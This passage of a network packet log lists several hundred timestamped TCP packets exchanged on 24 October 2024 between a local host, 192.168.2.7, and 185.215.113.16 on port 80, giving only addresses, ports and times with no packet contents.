Oct 24, 2024 04:02:13.003298998 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.003321886 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.003362894 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.003406048 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.003767014 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.003804922 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.003808975 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.003817081 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.003844023 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.003848076 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.003854036 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.003880024 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.003902912 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.044899940 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.044915915 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.044928074 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.045183897 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.045183897 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.090116978 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.090137959 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.090182066 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.090212107 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.090229988 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.090240002 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.090327024 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.094155073 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.094166040 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.094208002 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.094228029 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.094239950 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.094247103 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.094258070 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.094284058 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.094321012 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.110295057 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.110306025 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.110348940 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.110358000 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.110368967 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.110403061 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.110482931 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.110527992 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.110543013 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.110554934 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.110588074 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.110603094 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.110897064 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.110908985 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.110922098 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.110934019 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.110945940 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.110977888 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.111378908 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.111398935 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.111423016 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.111439943 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.119997978 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.120017052 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.120029926 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.120044947 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.120090008 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.120107889 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.120191097 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.120225906 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.120251894 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.120265007 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.120276928 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.120299101 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.120357037 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.120790958 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.120805025 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.120832920 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.120841026 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.120845079 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.120857954 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.120872021 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.120898008 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.121484041 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.121495962 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.121531963 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.161818981 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.161863089 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.161896944 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.161920071 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.161925077 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.161948919 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.161967993 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.161994934 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.207134008 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.207151890 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.207178116 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.207189083 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.207192898 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.207210064 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.207221031 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.207240105 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.210983992 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.211041927 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.211071014 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.211077929 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.211085081 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.211103916 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.211113930 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.211127996 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.227113962 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.227144003 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.227161884 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.227185011 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.227247000 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.227261066 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.227288008 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.227302074 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.227431059 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.227448940 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.227464914 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.227497101 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.227510929 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.227786064 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.227802038 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.227817059 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.227829933 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.227844000 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.227859020 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.228121996 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.228148937 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.228164911 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.228167057 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.228174925 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.228193998 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.228207111 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.228234053 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.236804008 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.236839056 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.236856937 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.236875057 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.236881971 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.236916065 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.236948013 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.236990929 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.237066031 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.237088919 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.237114906 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.237128973 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.237276077 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.237302065 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.237318993 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.237333059 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.237344027 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.237386942 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.237622023 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.237664938 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.237675905 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.237690926 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.237716913 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.237732887 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.237735033 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.237747908 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.237771034 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.237783909 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.278914928 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.278950930 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.278984070 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.279109955 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.324229002 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.324261904 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.324317932 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.324354887 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.324390888 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.324425936 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.324425936 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.324425936 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.324425936 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.324500084 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.324513912 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.324531078 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.324552059 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.328073978 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.328130960 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.328135967 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.328171968 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.328186035 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.328227997 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.344158888 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.344191074 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.344216108 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.344228029 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.344247103 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.344283104 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.344297886 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.344316959 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.344333887 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.344351053 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.344362974 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.344384909 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.344398975 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.344434023 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.344882011 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.344897032 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.344911098 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.344928026 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.344940901 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.344959974 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.345205069 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.345244884 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.345251083 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.345261097 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.345278978 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.345283985 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.345293045 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.345314980 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.345772028 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.345783949 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.345814943 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.345829010 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.353782892 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.353799105 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.353816032 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.353887081 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.353904009 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.353919029 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.353940010 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.353940010 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.353940010 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.353940010 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.353940010 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.353965044 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.354270935 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.354289055 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.354305983 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.354315996 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.354326010 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.354346991 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.354603052 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.354624033 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.354640007 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.354649067 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.354657888 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.354670048 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.354676008 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.354681969 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.354695082 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.354708910 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.396065950 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.396083117 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.396097898 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.396164894 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.396164894 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.396192074 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.441302061 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.441335917 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.441370964 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.441385031 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.441401958 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.441410065 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.441410065 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.441445112 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.441451073 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.441478968 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.441483974 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.441526890 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.444967985 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.444998026 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.445022106 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.445034027 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.445050001 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.445077896 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.445094109 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.445113897 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.461112022 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.461169958 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.461201906 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.461275101 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.461275101 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.461275101 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.461371899 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.461406946 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.461426020 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.461441994 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.461448908 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.461483955 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.461582899 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.461630106 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.461745024 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.461788893 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.461824894 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.461839914 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.461867094 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.461868048 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.461882114 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.461886883 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.461900949 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.461908102 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.461916924 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.461939096 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.462701082 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.462716103 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.462733030 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.462749004 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.462758064 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.462776899 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.470659018 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.470710039 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.470719099 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.470745087 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.470756054 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.470778942 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.470788956 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.470818996 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.470820904 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.470865011 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.471008062 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.471045971 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.471055984 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.471071005 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.471086025 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.471086025 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.471116066 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.471127033 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.471585989 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.471602917 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.471620083 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.471631050 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.471635103 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.471651077 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.471651077 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.471661091 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.471678972 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.471685886 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.513119936 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.513135910 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.513150930 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:13.513180971 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:13.513200045 CEST	49990	80	192.168.2.7	185.215.113.16
